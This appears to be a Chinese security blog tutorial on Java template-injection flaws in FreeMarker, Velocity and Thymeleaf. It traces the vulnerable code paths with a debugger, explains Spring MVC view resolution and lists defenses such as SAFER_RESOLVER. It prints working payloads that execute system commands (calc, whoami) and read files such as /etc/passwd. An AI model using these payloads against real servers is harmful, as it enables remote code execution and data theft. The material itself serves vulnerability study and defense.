FreeMarker SSTI FreeMarket基本语法 插值 插值 - FreeMarker 中文官方参考手册 (foofun.cn)
插值的使用格式是: ${expression},这里的 expression 可以是所有种类的表达式(比如 ${100 + x})。
插值是用来给表达式插入具体值然后转换为文本(字符串)。插值仅仅可以在两种位置使用:在文本区(比如 <h1>Hello ${name}!</h1>) 和字符串表达式(比如 <#include "/footer/${company}.html">)中。
需要注意的是:如果插值在文本区 (也就是说,不在字符串表达式中),如果 escape 指令起作用了,那么将被插入的字符串会被自动转义。
FTL指令 指令 - FreeMarker 中文官方参考手册 (foofun.cn)
使用<# 指令 >
FreeMarker SSTI 成因与攻击面 SSTI 的攻击面是模板引擎的渲染,要让 Web 服务器将 HTML 语句渲染为模板引擎,前提是要先有 HTML 语句。
将 HTML 语句放到服务器上有两种方法:
1、文件上传 HTML 文件。
2、若某 CMS 自带有模板编辑功能(常见)
环境搭建 这里使用Drunkbaby的漏洞项目:
JavaSecurityLearning/JavaSecurity at main · Drun1baby/JavaSecurityLearning (github.com)
构造payload
freemarker.template.utility.Execute类中存在命令执行方法
1 <#assign value="freemarker.template.utility.Execute" ?new ()>${value("Calc" )}
此项目没有写漏洞入口,所以利用时只能将payload直接插入.ftl中
成功执行
漏洞分析 下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView,开始调试
createView(String viewName, Locale locale) 方法,用于创建视图对象(View),它根据逻辑视图名的前缀,判断应该创建哪种类型的视图:重定向、转发,或默认处理方式。
在此处下断点是因为MVC 加载流程是从视图解析器到模板引擎,createView->loadView()->buildView(),buildView()方法开始有模板引擎参与
参考此文章:Java模版引擎注入(SSTI)漏洞研究 - 郑瀚 - 博客园 (cnblogs.com)
如果对代码结构以及其中的类和方法了解不够透彻,可以直接在代码最后一步下断点,此漏洞是在命令执行方法处(freemarker/template/utility/Execute.class类的exec方法下断点),查看调用栈,判断触发ftl风险代码的调用栈从 哪里开始,再逐步分析
下断点后可以看到触发ftl风险代码的调用栈是从FreeMarkerview类的processTemplate方法开始的
根据调用栈跟进代码执行流程
1 2 3 4 5 6 7 8 9 exec :75, Execute (freemarker.template.utility) _eval:62, MethodCall (freemarker.core)eval :101, Expression (freemarker.core) calculateInterpolatedStringOrMarkup:100, DollarVariable (freemarker.core) accept:63, DollarVariable (freemarker.core) visit:334, Environment (freemarker.core) visit:340, Environment (freemarker.core) process:313, Environment (freemarker.core) process:383, Template (freemarker.template)
在开始处下断点进行调试
processTemplate->process()->visit()->pushElement()->element.accept()->getChildBuffer()->write()
process() 方法是做了一个输出(生成) HTML 文件或其他文件的工作,相当于渲染的最后一步了。
在 process() 方法中,会对 ftl 的文件进行遍历,读取一些信息,下面我们先说对于正常语句的处理,再说对于 ftl 表达式的处理。
在读取到每一条 freeMarker 表达式语句的时候,会二次调用 visit() 方法,
而 visit() 方法又调用了 element.accept(),
此处代码执行十分复杂,,建议直接根据刚才所看调用栈跟进函数更加清晰明了,不要一直动态调试步入
根据调用栈转到DollarVariable类accept方法,可以看到调用了calculateInterpolatedStringOrMarkup方法
跟进calculateInterpolatedStringOrMarkup方法,该方法做的业务是将模型强制为字符串或标记
跟进eval方法,可以看到eval函数对constantValue的值做了简单的判断,判定值为空后跟进 this._eval()
一般的 _eval() 方法只是将 evn 获取一下,如下图
这是通过DollarVariable类accept方法->eval方法->_eval方法
但是这里的element的值是图中所示,可以从此处开始动态调试
append会调用assign类中的append方法做了一系列基础判断,先判断 namespaceExp 是否为 null,接着又判断 this.operatorType 是否等于 65536
看到此处获取valueEXP,跟进eval方法
eval函数中判断constantValue值为空后,跟进_eval方法
经过一系列复杂的代码可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类
此时这一个语句相当于
1 2 3 Object result = targetMethod.exec(argumentStrings);Object result = freemarker.template.utility.Execute.exec(argumentStrings);
而这一步并非直接进行命令执行,而是先把这个类通过 newInstance() 的方式进行初始化。
命令执行的参数,会被拿出来,在下一次的同样流程中作为命令被执行,如图
至此,漏洞代码分析结束。
ai了一下_eval代码的含义
1 2 TemplateModel _eval (Environment env) throws TemplateException { TemplateModel targetModel = this .target.eval(env);
定义一个 _eval 方法,返回一个 TemplateModel(FreeMarker 中的通用模型类型)。
调用 this.target.eval(env) 解析出当前要执行的目标对象(可能是方法或变量),并赋值给 targetModel。
1 2 if (targetModel instanceof TemplateMethodModel) { TemplateMethodModel targetMethod = (TemplateMethodModel) targetModel;
如果目标是一个模板方法(TemplateMethodModel),就将其强制类型转换为 targetMethod。
此段代码会判断element中的值是方法还是参数,对应传给不同变量,以确保命令的正确拼接
FreeMarker SSTI 的攻防二象性 现在使用的poc
1 <#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
这是 FreeMarker 的内置函数 new 导致的,下面简单介绍一下 FreeMarker的两个内置函数—— new 和 api
内置函数 new 可创建任意实现了 TemplateModel 接口的 Java 对象,同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute
API value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。 但是,当api_builtin_enabled为 true 时才可使用 api 函数,而该配置在 2.3.22 版本 之后默认为 false。
POC1
1 2 3 4 5 6 <#assign classLoader=object?api.class.protectionDomain.classLoader> <#assign clazz=classLoader.loadClass("ClassExposingGSON" )> <#assign field=clazz?api.getField("GSON" )> <#assign gson=field?api.get(null )> <#assign ex=gson?api.fromJson("{}" , classLoader.loadClass("freemarker.template.utility.Execute" ))> ${ex("Calc" ")}
POC2
1 <#assign value="freemarker.template.utility.ObjectConstructor" ?new ()>${value("java.lang.ProcessBuilder" ,"Calc" ).start()}
POC3
1 <#assign value="freemarker.template.utility.JythonRuntime" ?new ()><@value >import os;os.system("calc" )
POC4
1 <#assign ex="freemarker.template.utility.Execute" ?new ()> ${ ex("Calc" ) }
读取文件
1 2 3 4 5 6 7 <#assign is=object?api.class.getResourceAsStream("/Test.class" )> FILE:[<#list 0. .999999999 as _> <#assign byte =is.read()> <#if byte == -1 > <#break > </#if > ${byte }, </#list>]
1 2 3 4 5 6 7 8 9 <#assign uri=object?api.class.getResource("/" ).toURI()> <#assign input=uri?api.create("file:///etc/passwd" ).toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0. .999999999 as _> <#assign byte =is.read()> <#if byte == -1 > <#break > </#if > ${byte }, </#list>]
修复和防御 1 2 Configuration cfg = new Configuration (); cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
设置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);,它会加入一个校验,将freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 package org.example;import freemarker.core.TemplateClassResolver;import freemarker.template.Configuration;import freemarker.template.Template;import java.io.File;import java.io.FileWriter;import java.io.Writer;import java.util.HashMap;import java.util.Map;public class exec_pcc { public static void main (String[] args) throws Exception{ Configuration configuration = new Configuration (Configuration.getVersion()); configuration.setDirectoryForTemplateLoading(new File ("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources" )); configuration.setDefaultEncoding("utf-8" ); Template template = configuration.getTemplate("exec_poc1.ftl" ); configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); Map map=new HashMap (); map.put("name" , "张三" ); map.put("message" , "欢迎来到我的博客!" ); Writer out = new FileWriter (new File ("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html" )); template.process(map, out); out.close(); } }
从 2.3.17 版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className) 获取任何类。
SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。
ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析。
Velocity SSTI 主要参考:Java模版引擎注入(SSTI)漏洞研究 - 郑瀚 - 博客园 (cnblogs.com)
velocity的SSTI复现与分析 (garck3h.github.io)
Velocity基本语法 # 关键字 Velocity关键字都是使用 #开头的,如 #set、#if、#else、#end、#foreach 等$变量 Velocity变量都是使用$开头的,如:$name、$msg{}变量 Velocity对于需要明确表示的Velocity变量,可以使用 {} 将变量包含起来。!变量 如果某个Velocity变量不存在,那么页面中就会显示$xxx的形式,为了避免这种形式,可以在变量名称前加上!。如页面中含有$msg,如果msg有值,将显示msg的值;如果不存在就会显示$msg。这是我们不希望看到的,为了把不存在的变量显示为空白,可以使用$!msg。
此处的攻击面还是以文件上传和模板编写为主
Velocity SSTI漏洞风险面poc 漏洞复现 web程序中弹出msg 写一个Demo
新建一个Maven项目,引入Velocity依赖
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > org.apache.velocity</groupId > <artifactId > velocity-engine-core</artifactId > <version > 2.2</version > </dependency > </dependencies >
在resource目录下创建模板文件,以.vm后缀命名
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > </head > <body > hello , ${name} !</body > </html >
主程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.kuang;import org.apache.velocity.Template;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.Velocity;import java.io.FileWriter;import java.io.IOException;import java.util.Properties;public class velocityDemo { public static void main (String[] args) throws IOException { Properties prop = new Properties (); prop.put("file.resource.loader.class" , "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader" ); Velocity.init(prop); VelocityContext context = new VelocityContext (); context.put("msg" , "外部输入的消息" ); Template tpl = Velocity.getTemplate("vms/velocityDemo.vm" , "utf-8" ); FileWriter fw = new FileWriter ("src/main/resources/velocityDemo.html" ); tpl.merge(context, fw); fw.close(); } }
模板文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > </head > <body > #if($msg) <script > alert ('$!msg' ); </script > #end</body > </html >
运行主程序后可以看到模板成功注入,主程序将前台页面的显示写在html文件中,可以看到网页会弹出消息
命令执行 poc1 1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > </head > <body > #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("Calc")</body > </html >
mac命令为open -a Calculator
运行主程序后看到成功弹出计算器
poc2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > </head > <body > #set($x='')## #set($rt = $x.class.forName('java.lang.Runtime'))## #set($chr = $x.class.forName('java.lang.Character'))## #set($str = $x.class.forName('java.lang.String'))## #set($ex=$rt.getRuntime().exec('whoami'))## $ex.waitFor() #set($out=$ex.getInputStream())## #foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end</body > </html >
注入命令需要网页有回显位,或者将回显数据注入到一个文件中
如此处构造主程序会合并数据到模板
1 2 FileWriter fw = new FileWriter ("src/main/resources/velocityDemo.html" ); tpl.merge(context, fw);
看到回显
poc3 控制程序中有执行命令语句,编写poc让其执行并输出数据
主程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package org.example;import org.apache.velocity.Template;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.Velocity;import java.io.FileWriter;import java.io.IOException;import java.util.Date;import java.util.Properties;public class velocityDemo { public static void main (String[] args) throws IOException { Properties prop = new Properties (); prop.put("file.resource.loader.class" , "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader" ); Velocity.init(prop); VelocityContext context = new VelocityContext (); context.put("cmd" , "whoami" ); Template tpl = Velocity.getTemplate("vms/velocityDemo.vm" , "utf-8" ); FileWriter fw = new FileWriter ("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html" ); tpl.merge(context, fw); fw.close(); } }
模板文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > </head > <body > #set ($e="exp") #set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd)) #set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a)) #set($sc = $e.getClass().forName("java.util.Scanner")) #set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream"))) #set($scan=$constructor.newInstance($input).useDelimiter("/A")) #if($scan.hasNext()) $scan.next() #end</body > </html >
运行主程序后看到回显数据
漏洞分析 evaluate触发 evaluate方法使用VelocityEngine的evaluate方法来执行Velocity模板的评估。用户输入通过HttpServletRequest对象获取,并放入VelocityContext中进行渲染。
接下来简单分析一下velocity存在漏洞的风险代码原理
主程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package org.example;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.Velocity;import java.io.IOException;import java.io.StringWriter;public class velocityDemo { public static void main (String[] args) throws IOException { String username = "外部攻击者可控输入" ; String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email" ; Velocity.init(); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "Little Hann" ); ctx.put("phone" , "123456789" ); ctx.put("email" , "zhenghan.zh@alibaba-inc.com" ); StringWriter out = new StringWriter (); Velocity.evaluate(ctx, out, "test" , templateString); System.out.println(out.toString()); } }
模拟注入攻击
将payload传入username
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package org.example;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.Velocity;import java.io.IOException;import java.io.StringWriter;public class velocityDemo { public static void main (String[] args) throws IOException { String username = "#set($e=/" e/")/n" + "$e.getClass().forName(/" java.lang.Runtime/").getMethod(/" getRuntime/",null).invoke(null,null).exec(/" Calc/")" ; String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email" ; Velocity.init(); VelocityContext ctx = new VelocityContext (); ctx.put("name" , "Little Hann" ); ctx.put("phone" , "123456789" ); ctx.put("email" , "zhenghan.zh@alibaba-inc.com" ); StringWriter out = new StringWriter (); Velocity.evaluate(ctx, out, "test" , templateString); System.out.println(out.toString()); } }
payload分析
1 2 3 4 5 6 7 $e .getClass():获取变量$e 的运行时类。 .forName("java.lang.Runtime" ):通过反射加载java.lang.Runtime类。 .getMethod("getRuntime" , null):使用反射获取Runtime类的getRuntime方法,该方法返回Runtime类的实例。 .invoke(null, null):使用反射调用getRuntime方法,参数为null,因为该方法不接受任何参数。这将返回Runtime类的实例。 .exec ("open -a calculator" ):使用Runtime类的实例的exec 方法执行操作系统命令。在这里,命令是open -a calculator,即打开Mac的计算器 windows一般使用Calc即可
运行主程序,看到计算器成功弹出
根据测试程序,首先会进入Velocity类的init方法,在此处下断点
在该方法中,会调用RuntimeSingleton类的init方法,这个方法主要是对模板引擎的初始化,比如设置属性、初始化日志系统、资源管理器、指令等。
接下来回到主程序中,实例化VelocityContext,并将三对键值对put进去,之后调用Velocity类的evaluate方法,此时templateString的值为
1 2 Hello, $e .getClass().forName("java.lang.Runtime" ).getMethod("getRuntime" ,null).invoke(null,null).exec ("Calc" ) | Full name: $name , phone: $phone , email: $email
下一步进入了RuntimeInstance的evaluate方法->进入重载的evaluate方法
这个方法会调用RuntimeInstance类的parse方法进行解析。
经过两重调用来到org/apache/velocity/runtime/parser/Parser.class的parse方法。
完成模板文件的parse工作后,生成ast语法树结构
当执行来到engine.evaluate;我们跟进去,直接就看到了RuntimeInstance.evaluate;最后会调用 render 方法将解析后的内容渲染到 writer 中,并返回渲染结果
跟进到render;这里主要实现的是将解析后的节点树渲染到指定的写入器中。
首先在729行调用 nodeTree.init对节点树进行初始化。接着调用 nodeTree.render将节点树渲染到写入器中。
跟进去到render。这里主要实现的是获取节点树的子节点数量,并使用 for 循环遍历所有子节点。通过 jjtGetChild(i) 方法获取第 i 个子节点,并调用其 render 方法来渲染子节点内容到指定的写入器中。
继续跟进jjtGetChild(i).render;最后来到了ASTReference.render.
先判断this.referenceType 的值是否为 4;然后判断this.escaped 的值为false
继续跟进来之后,就到了ASTMethod.execute。这里接受一个 Object 对象和一个 InternalContextAdapter 对象作为参数。我们直接看到
调用 method.invoke(o, params) 方法执行方法调用,并将结果存储在 obj 变量中。
跟进去查看invoke;判断方法是否为可变参数方法,如果是就进行一系列操作。最后调用doInvoke方法执行实际的方法调用,并返回结果。
而doInvoke方法,正是下面的doInvoke方法,可以看到getClass方法已经作为参数被传入
最后调用了Java反射里面的invoke,进行执行
merge触发 merge方法使用VelocityEngine的getTemplate方法获取指定的模板文件,然后使用merge方法将模板和上下文数据合并为最终结果。
创建一个servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.garck3h.controller;import org.apache.velocity.Template;import org.apache.velocity.VelocityContext;import org.apache.velocity.app.VelocityEngine;import org.apache.velocity.runtime.RuntimeConstants;import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.servlet.ModelAndView;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.StringWriter;@Controller public class VelocityInjectionController { @RequestMapping("/merge") public ModelAndView merge (HttpServletRequest request, HttpServletResponse response) throws Exception { String template = request.getParameter("template" ); VelocityEngine engine = new VelocityEngine (); engine.setProperty(RuntimeConstants.RESOURCE_LOADER, "classpath" ); engine.setProperty("classpath.resource.loader.class" , ClasspathResourceLoader.class.getName()); engine.init(); VelocityContext context = new VelocityContext (); context.put("params" , request.getParameterMap()); Template tpl = engine.getTemplate(template); StringWriter sw = new StringWriter (); tpl.merge(context, sw); ModelAndView modelAndView = new ModelAndView ("hello" ); modelAndView.addObject("hello" , sw.toString()); return modelAndView; } }
模板能够插入语句时,传入payload,可以正常执行
ps
因为Spring框架版本的问题,高版本不能直接整合Velocity模板,一直报错
Velocity模板目前也逐渐被其它模板引擎替代
Thymeleaf SSTI
Thymeleaf语法 Thymeleaf 表达式可以有以下类型:
${...}:变量表达式 —— 通常在实际应用,一般是OGNL表达式或者是 Spring EL,如果集成了Spring的话,可以在上下文变量(context variables )中执行
*{...}: 选择表达式 —— 类似于变量表达式,区别在于选择表达式是在当前选择的对象而不是整个上下文变量映射上执行。
#{...}: Message (i18n) 表达式 —— 允许从外部源(比如.properties文件)检索特定于语言环境的消息
@{...}: 链接 (URL) 表达式 —— 一般用在应用程序中设置正确的 URL/路径(URL重写)。
~{...}:片段表达式 —— Thymeleaf 3.x 版本新增的内容 ,分段段表达式是一种表示标记片段并将其移动到模板周围的简单方法。 正是由于这些表达式,片段可以被复制,或者作为参数传递给其他模板等等
实际上,Thymeleaf 出现 SSTI 问题的主要原因也正是因为这个片段表达式,我们知道片段表达式语法如下:
~{templatename::selector} ,会在/WEB-INF/templates/目录下寻找名为templatename的模版中定义的fragment
如有一个 html 文件的代码如下:
1 2 3 4 5 <!DOCTYPE html > <html xmlns:th ="http://www.thymeleaf.org" > <body > <div th:fragment ="banquan" > © 2021 ThreeDream yyds</div > </body > </html >
然后在另一template中可以通过片段表达式引用该片段:
1 <div th:insert ="~{footer :: banquan}" > </div >
th:insert和th:replace:插入片段是比较常见的用法
~{templatename},引用整个templatename模版文件作为fragment
这个也比较好理解,不做详细举例
~{::selector} 或 ~{this::selector},引用来自同一模版文件名为selector的fragmnt
在这里,selector可以是通过th:fragment定义的片段,也可以是类选择器、ID选择器等。
当~{}片段表达式中出现::,那么 ::后需要有值(也就是selector)
Thymeleaf SSTI注入漏洞 漏洞版本 只有3.x版本的Thymeleaf 才会受到影响,因为在2.x 中renderFragment的核心处理方法是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 protected void renderFragment (Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { ... Configuration configuration = viewTemplateEngine.getConfiguration(); ProcessingContext processingContext = new ProcessingContext (context); templateCharacterEncoding = getStandardDialectPrefix(configuration); StandardFragment fragment = StandardFragmentProcessor.computeStandardFragmentSpec(configuration, processingContext, viewTemplateName, templateCharacterEncoding, "fragment" ); if (fragment == null ) { throw new IllegalArgumentException ("Invalid template name specification: '" + viewTemplateName + "'" ); } ...
并没有3.x 版本中对于片段表达式(~{)的处理,也因此不会造成 SSTI 漏洞,以下是 SpringBoot 默认引用的 thymeleaf 版本
spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5 spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9 spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11
漏洞复现 主要参考:Thymeleaf SSTI漏洞分析-先知社区 (aliyun.com)
这里直接使用veracode-research/spring-view-manipulation(github.com) 项目来做复现
漏洞代码
此控制器原本用于更改页面语言
1 2 3 4 @GetMapping("/path") public String path (@RequestParam String lang) { return "user/" + lang + "/welcome" ; }
poc
1 GET /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
运行程序后顺利弹出计算器
漏洞分析 参考:Thymeleaf SSTI 分析以及最新版修复的 Bypass - Panda | 热爱安全的理想少年 (cnpanda.net)
此漏洞同样被触发在模板视图渲染时
通过前两个对模板的视图解析与渲染代码分析,我们可以看到开始渲染调用的是render方法,Velocity调用VelocityView#render渲染,FreeMarker调用``FreeMarker#render渲染,同样Thymeleaf调用ThymleafView#render`渲染。
render方法中又通过调用renderFragment完成实际的渲染工作。
在这里详细分析Thymeleaf的渲染工作
createView() 首先根据视图名创建对应的View
之后开始渲染,如果此处是 FreeMarker,就会去 FreeMarkerView.render(),如果是 Velocity,就会去 VelocityView.render(),我们此处是 Thymeleaf,会去到 ThymeleafView.render(),跟进。
跟进 renderFragment() 方法。在第 100 行,判断 getTemplateName 当中是否存在 :: 这一字符,如果不存在就当作是一个普通的模板,直接赋值给 templateName,并清空 markupSelectors。
所以payload末尾需要加::,并且在前面介绍~{}语法时提到::后是需要有值(也就是selector),所以末尾是.x
继续往下走,第 108 行,调用了 (FragmentExpression)parser.parseExpression(),对我们输入的这一串字符进行了处理。
继续跟进 StandardExpressionPreprocessor.preprocess()
复制出了比较关键的一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static String preprocess (IExpressionContext context, String input) { if (input.indexOf(95 ) == -1 ) { return input; } else { IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration()); if (!(expressionParser instanceof StandardExpressionParser)) { return input; } else { Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input); if (!matcher.find()) { return checkPreprocessingMarkUnescaping(input); } else { StringBuilder strBuilder = new StringBuilder (input.length() + 24 ); int curr = 0 ;
先判断,input 里面是否有存在 _ 字符,如果不存在则直接返回,不做解析处理。
接着,调用 PREPROCESS_EVAL_PATTERN.matcher(input);,进行正则提取,这里提取的是 _ 中间的内容。
提取后获取到的内容是 ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("Calc").getInputStream()).next()}
此语句是被当作SpEL表达式执行的
因此 POC 中我们要构造形如__xx__的SpEL表达式(SpEL相关的知识点可以参考此文:SPEL 表达式注入漏洞深入分析 ),即表达式要为:__${xxxxx}__ 这种形式
因此,最终 POC 的形式就为:__${xxxx}__::.x
继续往下走,到了 expression.execute(),也就是命令执行的地方,语句就变成了
至此分析过程结束。
Thymeleaf SSTI Bypass 详情请见:Thymeleaf SSTI 分析以及最新版修复的 Bypass - Panda | 热爱安全的理想少年 (cnpanda.net)
防御措施
配置@ResponseBody或者@RestController,经以上注解后不会进行View解析而是直接返回。
在方法参数中加上 HttpServletResponse参数 ,此时spring会认为已经处理了response响应而不再进行视图解析。
在返回值前面加上 “redirect:“——经RedirectView处理。
SpringMVC 视图解析过程分析 在controller漏洞代码处下断点,可以看到若有完整的MVC框架,经过的调用栈都是相同的
所以以Thymeleaf为例尝试分析一下SpringMVC 视图解析过程
此处其实是涉及到的后端知识较多
参考:spring-mvc - 深入源码分析SpringMVC执行过程 - 后端技术社区 - SegmentFault 思否
流程图 首先,让我们从 Spring MVC 的四大组件:前端控制器(DispatcherServlet)、处理器映射器(HandlerMapping)、处理器适配器(HandlerAdapter)以及视图解析器(ViewResolver) 的角度来看一下 Spring MVC 对用户请求的处理过程,过程如下图所示:
执行流程
用户请求发送到前端控制器 DispatcherServlet 。
前端控制器 DispatcherServlet 接收到请求后,DispatcherServlet 会使用 HandlerMapping 来处理,HandlerMapping 会查找到具体进行处理请求的 Handler 对象 。
HandlerMapping 找到对应的 Handler 之后,并不是返回一个 Handler 原始对象,而是一个 Handler 执行链(HandlerExecutionChain),在这个执行链中包括了拦截器和处理请求的 Handler。HandlerMapping 返回一个执行链给 DispatcherServlet。
DispatcherServlet 接收到执行链之后,会调用 Handler 适配器去执行 Handler 。
Handler 适配器执行完成 Handler(也就是 Controller)之后会得到一个 ModelAndView,并返回给 DispatcherServlet。
DispatcherServlet 接收到 HandlerAdapter 返回的 ModelAndView 之后,会根据其中的视图名调用 ViewResolver。
ViewResolver 根据逻辑视图名解析成一个真正的 View 视图 ,并返回给 DispatcherServlet。
DispatcherServlet 接收到视图之后,会根据上面的 ModelAndView 中的 model 来进行视图中数据的填充,也就是所谓的视图渲染 。
渲染完成之后,DispatcherServlet 就可以将结果返回给用户了。
源码分析 首先当我们访问页面的时候,将会把请求发送到前端控制器 DispatcherServlet ,DispatcherServlet 是一个 Servlet,我们知道在 Servlet 在处理一个请求的时候会交给 service 方法进行处理,这里也不例外,DispatcherServlet 继承了 FrameworkServlet,首先进入 FrameworkServlet 的 service 方法:
1 2 3 4 5 6 7 8 9 10 11 protected void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { HttpMethod httpMethod = HttpMethod.resolve(request.getMethod()); if (httpMethod == HttpMethod.PATCH || httpMethod == null ) { processRequest(request, response); } else { super .service(request, response); } }
HttpServlet 中会根据请求类型的不同分别调用 doGet 或者 doPost 等方法,FrameworkServlet 中已经重写了这些方法,在这些方法中会调用 processRequest 进行处理,在 processRequest 中会调用 doService 方法,这个 doService 方法就是在 DispatcherServlet 中实现的。下面就看下 DispatcherServlet 中的 doService 方法的实现。
DispatcherServlet 收到请求 在doService处下一个断点开始调试
看到417行调用了doDispatch 方法
首先会获取当前请求的 Handler 执行链 ,然后找到合适的 HandlerAdapter (此处为 RequestMappingHandlerAdapter),接着调用 RequestMappingHandlerAdapter 的 handle 方法,如下为 doDispatch 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 protected void doDispatch (HttpServletRequest request, HttpServletResponse response) throws Exception { HttpServletRequest processedRequest = request; HandlerExecutionChain mappedHandler = null ; boolean multipartRequestParsed = false ; WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request); try { ModelAndView mv = null ; Exception dispatchException = null ; try { processedRequest = checkMultipart(request); multipartRequestParsed = (processedRequest != request); mappedHandler = getHandler(processedRequest); if (mappedHandler == null ) { noHandlerFound(processedRequest, response); return ; } HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()); String method = request.getMethod(); boolean isGet = "GET" .equals(method); if (isGet || "HEAD" .equals(method)) { long lastModified = ha.getLastModified(request, mappedHandler.getHandler()); if (new ServletWebRequest (request, response).checkNotModified(lastModified) && isGet) { return ; } } if (!mappedHandler.applyPreHandle(processedRequest, response)) { return ; } mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); if (asyncManager.isConcurrentHandlingStarted()) { return ; } applyDefaultViewName(processedRequest, mv); mappedHandler.applyPostHandle(processedRequest, response, mv); } catch (Exception ex) { dispatchException = ex; } catch (Throwable err) { dispatchException = new NestedServletException ("Handler dispatch failed" , err); } processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException); } catch (Exception ex) { triggerAfterCompletion(processedRequest, response, mappedHandler, ex); } catch (Throwable err) { triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException ("Handler processing failed" , err)); } finally { if (asyncManager.isConcurrentHandlingStarted()) { if (mappedHandler != null ) { mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response); } } else { if (multipartRequestParsed) { cleanupMultipart(processedRequest); } } } }
查找对应的 Handler 对象
可以看到468行调用了getHandler方法,跟进一下
